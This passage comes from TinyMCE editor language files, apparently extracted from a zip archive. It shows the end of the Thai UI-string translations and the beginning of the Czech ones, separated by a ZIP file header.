"Mathematical": "\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e04\u0e13\u0e34\u0e15\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c",
"Extended Latin": "\u0e20\u0e32\u0e29\u0e32\u0e25\u0e32\u0e15\u0e34\u0e19\u0e2a\u0e48\u0e27\u0e19\u0e02\u0e22\u0e32\u0e22",
"Symbols": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c",
"Arrows": "\u0e25\u0e39\u0e01\u0e28\u0e23",
"User Defined": "\u0e1c\u0e39\u0e49\u0e43\u0e0a\u0e49\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07",
"dollar sign": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e14\u0e2d\u0e25\u0e25\u0e48\u0e32\u0e23\u0e4c",
"currency sign": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19",
"euro-currency sign": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e22\u0e39\u0e42\u0e23",
"colon sign": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e08\u0e38\u0e14\u0e04\u0e39\u0e48",
"cruzeiro sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e04\u0e23\u0e39\u0e40\u0e0b\u0e42\u0e35\u0e23",
"french franc sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e1f\u0e23\u0e31\u0e07\u0e01\u0e4c\u0e1d\u0e23\u0e31\u0e48\u0e07\u0e40\u0e28\u0e2a",
"lira sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e25\u0e35\u0e23\u0e32",
"mill sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e21\u0e34\u0e25\u0e25\u0e4c",
"naira sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e44\u0e19\u0e23\u0e32",
"peseta sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e40\u0e1b\u0e40\u0e0b\u0e15\u0e32",
"rupee sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e23\u0e39\u0e1b\u0e35",
"won sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e27\u0e2d\u0e19",
"new sheqel sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e19\u0e34\u0e27\u0e40\u0e0a\u0e40\u0e01\u0e25",
"dong sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e14\u0e2d\u0e07",
"kip sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e01\u0e35\u0e1a",
"tugrik sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e17\u0e39\u0e01\u0e23\u0e34\u0e01",
"drachma sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e14\u0e23\u0e31\u0e04\u0e21\u0e32",
"german penny symbol": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e40\u0e1e\u0e19\u0e19\u0e35\u0e40\u0e22\u0e2d\u0e23\u0e21\u0e31\u0e19",
"peso sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e40\u0e1b\u0e42\u0e0b",
"guarani sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e01\u0e27\u0e32\u0e23\u0e32\u0e19\u0e35",
"austral sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e2d\u0e2d\u0e2a\u0e15\u0e23\u0e31\u0e25",
"hryvnia sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e2e\u0e23\u0e34\u0e1f\u0e40\u0e19\u0e35\u0e22",
"cedi sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e40\u0e0b\u0e14\u0e35",
"livre tournois sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e1b\u0e2d\u0e19\u0e14\u0e4c\u0e15\u0e39\u0e23\u0e4c",
"spesmilo sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e2a\u0e40\u0e1b\u0e2a\u0e21\u0e34\u0e42\u0e25",
"tenge sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e40\u0e17\u0e07\u0e40\u0e08",
"indian rupee sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e23\u0e39\u0e1b\u0e35\u0e2d\u0e34\u0e19\u0e40\u0e14\u0e35\u0e22",
"turkish lira sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e25\u0e35\u0e23\u0e32\u0e15\u0e38\u0e23\u0e01\u0e35",
"nordic mark sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e21\u0e32\u0e23\u0e4c\u0e04\u0e19\u0e2d\u0e23\u0e4c\u0e14\u0e34\u0e01",
"manat sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e21\u0e32\u0e19\u0e31\u0e15",
"ruble sign": "\u0e2a\u0e31\u0e0d\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c\u0e2a\u0e01\u0e38\u0e25\u0e40\u0e07\u0e34\u0e19\u0e23\u0e39\u0e40\u0e1a\u0e34\u0e25",
"yen character": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e40\u0e22\u0e19",
"yuan character": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e2b\u0e22\u0e27\u0e19",
"yuan character, in hong kong and taiwan": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e2b\u0e22\u0e27\u0e19 \u0e43\u0e19\u0e2e\u0e48\u0e2d\u0e07\u0e01\u0e07\u0e41\u0e25\u0e30\u0e44\u0e15\u0e49\u0e2b\u0e27\u0e31\u0e19",
"yen\/yuan character variant one": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e40\u0e22\u0e19\/\u0e2b\u0e22\u0e27\u0e19 \u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a\u0e17\u0e35\u0e48 1",
"Loading emoticons...": "\u0e01\u0e33\u0e25\u0e31\u0e07\u0e42\u0e2b\u0e25\u0e14\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c...",
"Could not load emoticons": "\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e42\u0e2b\u0e25\u0e14\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c\u0e44\u0e14\u0e49",
"People": "\u0e1c\u0e39\u0e49\u0e04\u0e19",
"Animals and Nature": "\u0e2a\u0e31\u0e15\u0e27\u0e4c\u0e41\u0e25\u0e30\u0e18\u0e23\u0e23\u0e21\u0e0a\u0e32\u0e15\u0e34",
"Food and Drink": "\u0e2d\u0e32\u0e2b\u0e32\u0e23\u0e41\u0e25\u0e30\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e14\u0e37\u0e48\u0e21",
"Activity": "\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21",
"Travel and Places": "\u0e01\u0e32\u0e23\u0e17\u0e48\u0e2d\u0e07\u0e40\u0e17\u0e35\u0e48\u0e22\u0e27\u0e41\u0e25\u0e30\u0e2a\u0e16\u0e32\u0e19\u0e17\u0e35\u0e48",
"Objects": "\u0e27\u0e31\u0e15\u0e16\u0e38",
"Flags": "\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22",
"Characters": "\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Characters (no spaces)": "\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23 (\u0e44\u0e21\u0e48\u0e21\u0e35\u0e0a\u0e48\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e07)",
"{0} characters": "{0} \u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30",
"Error: Form submit field collision.": "\u0e02\u0e49\u0e2d\u0e1c\u0e34\u0e14\u0e1e\u0e25\u0e32\u0e14: \u0e0a\u0e48\u0e2d\u0e07\u0e2a\u0e48\u0e07\u0e41\u0e1a\u0e1a\u0e1f\u0e2d\u0e23\u0e4c\u0e21\u0e02\u0e31\u0e14\u0e41\u0e22\u0e49\u0e07\u0e01\u0e31\u0e19",
"Error: No form element found.": "\u0e02\u0e49\u0e2d\u0e1c\u0e34\u0e14\u0e1e\u0e25\u0e32\u0e14: \u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e2d\u0e07\u0e04\u0e4c\u0e1b\u0e23\u0e30\u0e01\u0e2d\u0e1a\u0e02\u0e2d\u0e07\u0e1f\u0e2d\u0e23\u0e4c\u0e21",
"Update": "\u0e1b\u0e23\u0e31\u0e1a\u0e1b\u0e23\u0e38\u0e07\u0e43\u0e2b\u0e49\u0e17\u0e31\u0e19\u0e2a\u0e21\u0e31\u0e22",
"Color swatch": "\u0e41\u0e16\u0e1a\u0e2a\u0e35",
"Turquoise": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19\u0e2d\u0e21\u0e40\u0e02\u0e35\u0e22\u0e27",
"Green": "\u0e40\u0e02\u0e35\u0e22\u0e27",
"Blue": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19",
"Purple": "\u0e21\u0e48\u0e27\u0e07",
"Navy Blue": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19\u0e40\u0e02\u0e49\u0e21",
"Dark Turquoise": "\u0e2a\u0e35\u0e1f\u0e49\u0e32\u0e04\u0e23\u0e32\u0e21\u0e40\u0e02\u0e49\u0e21",
"Dark Green": "\u0e40\u0e02\u0e35\u0e22\u0e27\u0e40\u0e02\u0e49\u0e21",
"Medium Blue": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19\u0e1b\u0e32\u0e19\u0e01\u0e25\u0e32\u0e07",
"Medium Purple": "\u0e2a\u0e35\u0e21\u0e48\u0e27\u0e07\u0e01\u0e25\u0e32\u0e07\u0e46",
"Midnight Blue": "\u0e2a\u0e35\u0e1f\u0e49\u0e32\u0e40\u0e02\u0e49\u0e21",
"Yellow": "\u0e40\u0e2b\u0e25\u0e37\u0e2d\u0e07",
"Orange": "\u0e2a\u0e49\u0e21",
"Red": "\u0e41\u0e14\u0e07",
"Light Gray": "\u0e2a\u0e35\u0e40\u0e17\u0e32\u0e2d\u0e48\u0e2d\u0e19",
"Gray": "\u0e40\u0e17\u0e32",
"Dark Yellow": "\u0e2a\u0e35\u0e40\u0e2b\u0e25\u0e37\u0e2d\u0e07\u0e40\u0e02\u0e49\u0e21",
"Dark Orange": "\u0e2a\u0e49\u0e21\u0e40\u0e02\u0e49\u0e21",
"Dark Red": "\u0e41\u0e14\u0e07\u0e40\u0e02\u0e49\u0e21",
"Medium Gray": "\u0e2a\u0e35\u0e40\u0e17\u0e32\u0e01\u0e25\u0e32\u0e07\u0e46",
"Dark Gray": "\u0e2a\u0e35\u0e40\u0e17\u0e32\u0e40\u0e02\u0e49\u0e21",
"Light Green": "\u0e40\u0e02\u0e35\u0e22\u0e27\u0e2d\u0e48\u0e2d\u0e19",
"Light Yellow": "\u0e40\u0e2b\u0e25\u0e37\u0e2d\u0e07\u0e2d\u0e48\u0e2d\u0e19",
"Light Red": "\u0e41\u0e14\u0e07\u0e2d\u0e48\u0e2d\u0e19",
"Light Purple": "\u0e21\u0e48\u0e27\u0e07\u0e2d\u0e48\u0e2d\u0e19",
"Light Blue": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19\u0e2d\u0e48\u0e2d\u0e19",
"Dark Purple": "\u0e21\u0e48\u0e27\u0e07\u0e40\u0e02\u0e49\u0e21",
"Dark Blue": "\u0e19\u0e49\u0e33\u0e40\u0e07\u0e34\u0e19\u0e40\u0e02\u0e49\u0e21",
"Black": "\u0e14\u0e33",
"White": "\u0e02\u0e32\u0e27",
"Switch to or from fullscreen mode": "\u0e2a\u0e25\u0e31\u0e1a\u0e44\u0e1b\u0e22\u0e31\u0e07\u0e2b\u0e23\u0e37\u0e2d\u0e08\u0e32\u0e01\u0e42\u0e2b\u0e21\u0e14\u0e40\u0e15\u0e47\u0e21\u0e2b\u0e19\u0e49\u0e32\u0e08\u0e2d",
"Open help dialog": "\u0e40\u0e1b\u0e34\u0e14\u0e2b\u0e19\u0e49\u0e32\u0e01\u0e32\u0e23\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d",
"history": "\u0e1b\u0e23\u0e30\u0e27\u0e31\u0e15\u0e34",
"styles": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"formatting": "\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",
"alignment": "\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e41\u0e19\u0e27",
"indentation": "\u0e01\u0e32\u0e23\u0e08\u0e31\u0e14\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",
"Font": "\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Size": "\u0e02\u0e19\u0e32\u0e14",
"More...": "\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21...",
"Select...": "\u0e40\u0e25\u0e37\u0e2d\u0e01...",
"Preferences": "\u0e04\u0e48\u0e32\u0e01\u0e33\u0e2b\u0e19\u0e14",
"Yes": "\u0e43\u0e0a\u0e48",
"No": "\u0e44\u0e21\u0e48\u0e43\u0e0a\u0e48",
"Keyboard Navigation": "\u0e01\u0e32\u0e23\u0e19\u0e33\u0e17\u0e32\u0e07\u0e14\u0e49\u0e27\u0e22\u0e41\u0e1b\u0e49\u0e19\u0e1e\u0e34\u0e21\u0e1e\u0e4c",
"Version": "\u0e23\u0e38\u0e48\u0e19",
"Code view": "\u0e21\u0e38\u0e21\u0e21\u0e2d\u0e07\u0e42\u0e04\u0e49\u0e14",
"Open popup menu for split buttons": "\u0e40\u0e1b\u0e34\u0e14\u0e40\u0e21\u0e19\u0e39\u0e1b\u0e4a\u0e2d\u0e1b\u0e2d\u0e31\u0e1b\u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e1b\u0e38\u0e48\u0e21\u0e41\u0e22\u0e01",
"List Properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23",
"List properties...": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23...",
"Start list at number": "\u0e40\u0e23\u0e34\u0e48\u0e21\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e14\u0e49\u0e27\u0e22\u0e2b\u0e21\u0e32\u0e22\u0e40\u0e25\u0e02",
"Line height": "\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e39\u0e07\u0e02\u0e2d\u0e07\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14",
"comments": "\u0e02\u0e49\u0e2d\u0e04\u0e34\u0e14\u0e40\u0e2b\u0e47\u0e19",
"Format Painter": "\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a\u0e40\u0e1e\u0e19\u0e40\u0e15\u0e2d\u0e23\u0e4c",
"Insert\/edit iframe": "\u0e41\u0e17\u0e23\u0e01\/\u0e41\u0e01\u0e49\u0e44\u0e02 iframe",
"Capitalization": "\u0e01\u0e32\u0e23\u0e43\u0e0a\u0e49\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e43\u0e2b\u0e0d\u0e48",
"lowercase": "\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e40\u0e25\u0e47\u0e01",
"UPPERCASE": "\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e43\u0e2b\u0e0d\u0e48",
"Title Case": "\u0e15\u0e31\u0e27\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e02\u0e2d\u0e07\u0e2b\u0e31\u0e27\u0e02\u0e49\u0e2d",
"permanent pen": "\u0e1b\u0e32\u0e01\u0e01\u0e32\u0e40\u0e04\u0e21\u0e35\u0e0a\u0e19\u0e34\u0e14\u0e25\u0e1a\u0e44\u0e21\u0e48\u0e44\u0e14\u0e49",
"Permanent Pen Properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e1b\u0e32\u0e01\u0e01\u0e32\u0e21\u0e32\u0e23\u0e4c\u0e04\u0e40\u0e01\u0e2d\u0e23\u0e4c",
"Permanent pen properties...": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e1b\u0e32\u0e01\u0e01\u0e32\u0e21\u0e32\u0e23\u0e4c\u0e04\u0e40\u0e01\u0e2d\u0e23\u0e4c...",
"case change": "\u0e02\u0e19\u0e32\u0e14\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19",
"page embed": "\u0e1d\u0e31\u0e07\u0e2b\u0e19\u0e49\u0e32",
"Advanced sort...": "\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07...",
"Advanced Sort": "\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e07\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07",
"Sort table by column ascending": "\u0e08\u0e31\u0e14\u0e40\u0e23\u0e35\u0e22\u0e07\u0e15\u0e32\u0e23\u0e32\u0e07\u0e15\u0e32\u0e21\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e08\u0e32\u0e01\u0e19\u0e49\u0e2d\u0e22\u0e44\u0e1b\u0e21\u0e32\u0e01",
"Sort table by column descending": "\u0e08\u0e31\u0e14\u0e40\u0e23\u0e35\u0e22\u0e07\u0e15\u0e32\u0e23\u0e32\u0e07\u0e15\u0e32\u0e21\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c\u0e08\u0e32\u0e01\u0e21\u0e32\u0e01\u0e44\u0e1b\u0e19\u0e49\u0e2d\u0e22",
"Sort": "\u0e08\u0e31\u0e14\u0e40\u0e23\u0e35\u0e22\u0e07",
"Order": "\u0e25\u0e33\u0e14\u0e31\u0e1a",
"Sort by": "\u0e08\u0e31\u0e14\u0e40\u0e23\u0e35\u0e22\u0e07\u0e42\u0e14\u0e22",
"Ascending": "\u0e08\u0e32\u0e01\u0e19\u0e49\u0e2d\u0e22\u0e44\u0e1b\u0e21\u0e32\u0e01",
"Descending": "\u0e08\u0e32\u0e01\u0e21\u0e32\u0e01\u0e44\u0e1b\u0e19\u0e49\u0e2d\u0e22",
"Column {0}": "\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e19\u0e4c {0}",
"Row {0}": "\u0e41\u0e16\u0e27 {0}",
"Spellcheck...": "\u0e15\u0e23\u0e27\u0e08\u0e2a\u0e2d\u0e1a\u0e01\u0e32\u0e23\u0e2a\u0e30\u0e01\u0e14\u0e04\u0e33...",
"Misspelled word": "\u0e04\u0e33\u0e17\u0e35\u0e48\u0e2a\u0e30\u0e01\u0e14\u0e1c\u0e34\u0e14",
"Suggestions": "\u0e04\u0e33\u0e41\u0e19\u0e30\u0e19\u0e33",
"Change": "\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19",
"Finding word suggestions": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e04\u0e33\u0e17\u0e35\u0e48\u0e41\u0e19\u0e30\u0e19\u0e33",
"Success": "\u0e2a\u0e33\u0e40\u0e23\u0e47\u0e08",
"Repair": "\u0e0b\u0e48\u0e2d\u0e21\u0e41\u0e0b\u0e21",
"Issue {0} of {1}": "\u0e1b\u0e31\u0e0d\u0e2b\u0e32\u0e17\u0e35\u0e48 {0} \u0e08\u0e32\u0e01 {1}",
"Images must be marked as decorative or have an alternative text description": "\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e\u0e15\u0e49\u0e2d\u0e07\u0e17\u0e33\u0e40\u0e04\u0e23\u0e37\u0e48\u0e2d\u0e07\u0e2b\u0e21\u0e32\u0e22\u0e27\u0e48\u0e32\u0e15\u0e01\u0e41\u0e15\u0e48\u0e07 \u0e2b\u0e23\u0e37\u0e2d\u0e21\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e41\u0e2a\u0e14\u0e07\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e\u0e15\u0e49\u0e2d\u0e07\u0e21\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e41\u0e2a\u0e14\u0e07\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22 \u0e44\u0e21\u0e48\u0e2d\u0e19\u0e38\u0e0d\u0e32\u0e15\u0e43\u0e2b\u0e49\u0e43\u0e0a\u0e49\u0e20\u0e32\u0e1e\u0e15\u0e01\u0e41\u0e15\u0e48\u0e07",
"Or provide alternative text:": "\u0e2b\u0e23\u0e37\u0e2d\u0e23\u0e30\u0e1a\u0e38\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e41\u0e2a\u0e14\u0e07:",
"Make image decorative:": "\u0e17\u0e33\u0e20\u0e32\u0e1e\u0e15\u0e01\u0e41\u0e15\u0e48\u0e07:",
"ID attribute must be unique": "\u0e41\u0e2d\u0e15\u0e17\u0e23\u0e34\u0e1a\u0e34\u0e27\u0e15\u0e4c ID \u0e15\u0e49\u0e2d\u0e07\u0e44\u0e21\u0e48\u0e0b\u0e49\u0e33\u0e01\u0e31\u0e19",
"Make ID unique": "\u0e17\u0e33\u0e43\u0e2b\u0e49 ID \u0e44\u0e21\u0e48\u0e0b\u0e49\u0e33\u0e01\u0e31\u0e19",
"Keep this ID and remove all others": "\u0e40\u0e01\u0e47\u0e1a ID \u0e19\u0e35\u0e49\u0e44\u0e27\u0e49\u0e41\u0e25\u0e30\u0e25\u0e1a\u0e2d\u0e37\u0e48\u0e19 \u0e46 \u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Remove this ID": "\u0e25\u0e1a ID \u0e19\u0e35\u0e49",
"Remove all IDs": "\u0e25\u0e1a ID \u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",
"Checklist": "\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e2a\u0e2d\u0e1a",
"Anchor": "\u0e08\u0e38\u0e14\u0e22\u0e36\u0e14",
"Special character": "\u0e2d\u0e31\u0e01\u0e02\u0e23\u0e30\u0e1e\u0e34\u0e40\u0e28\u0e29",
"Code sample": "\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14",
"Color": "\u0e2a\u0e35",
"Document properties": "\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e2d\u0e07\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",
"Image description": "\u0e04\u0e33\u0e2d\u0e18\u0e34\u0e1a\u0e32\u0e22\u0e23\u0e39\u0e1b",
"Image": "\u0e23\u0e39\u0e1b\u0e20\u0e32\u0e1e",
"Insert link": "\u0e41\u0e17\u0e23\u0e01\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Target": "\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",
"Link": "\u0e25\u0e34\u0e07\u0e01\u0e4c",
"Poster": "\u0e42\u0e1b\u0e2a\u0e40\u0e15\u0e2d\u0e23\u0e4c",
"Media": "\u0e2a\u0e37\u0e48\u0e2d",
"Print": "\u0e1e\u0e34\u0e21\u0e1e\u0e4c",
"Prev": "\u0e01\u0e48\u0e2d\u0e19\u0e2b\u0e19\u0e49\u0e32",
"Find and replace": "\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e41\u0e25\u0e30\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",
"Whole words": "\u0e17\u0e31\u0e49\u0e07\u0e04\u0e33",
"Insert template": "\u0e41\u0e17\u0e23\u0e01\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a"
});PK
h�\���N�Nprogram/js/tinymce/langs/cs.jsnu�[���tinymce.addI18n('cs',{
"Redo": "Znovu",
"Undo": "Zp\u011bt",
"Cut": "Vyjmout",
"Copy": "Kop\u00edrovat",
"Paste": "Vlo\u017eit",
"Select all": "Vybrat v\u0161e",
"New document": "Nov\u00fd dokument",
"Ok": "OK",
"Cancel": "Zru\u0161it",
"Visual aids": "Vizu\u00e1ln\u00ed pom\u016fcky",
"Bold": "Tu\u010dn\u00e9",
"Italic": "Kurz\u00edva",
"Underline": "Podtr\u017een\u00e9",
"Strikethrough": "P\u0159e\u0161krtnut\u00e9",
"Superscript": "Horn\u00ed index",
"Subscript": "Doln\u00ed index",
"Clear formatting": "Vymazat form\u00e1tov\u00e1n\u00ed",
"Align left": "Zarovnat vlevo",
"Align center": "Zarovnat na st\u0159ed",
"Align right": "Zarovnat vpravo",
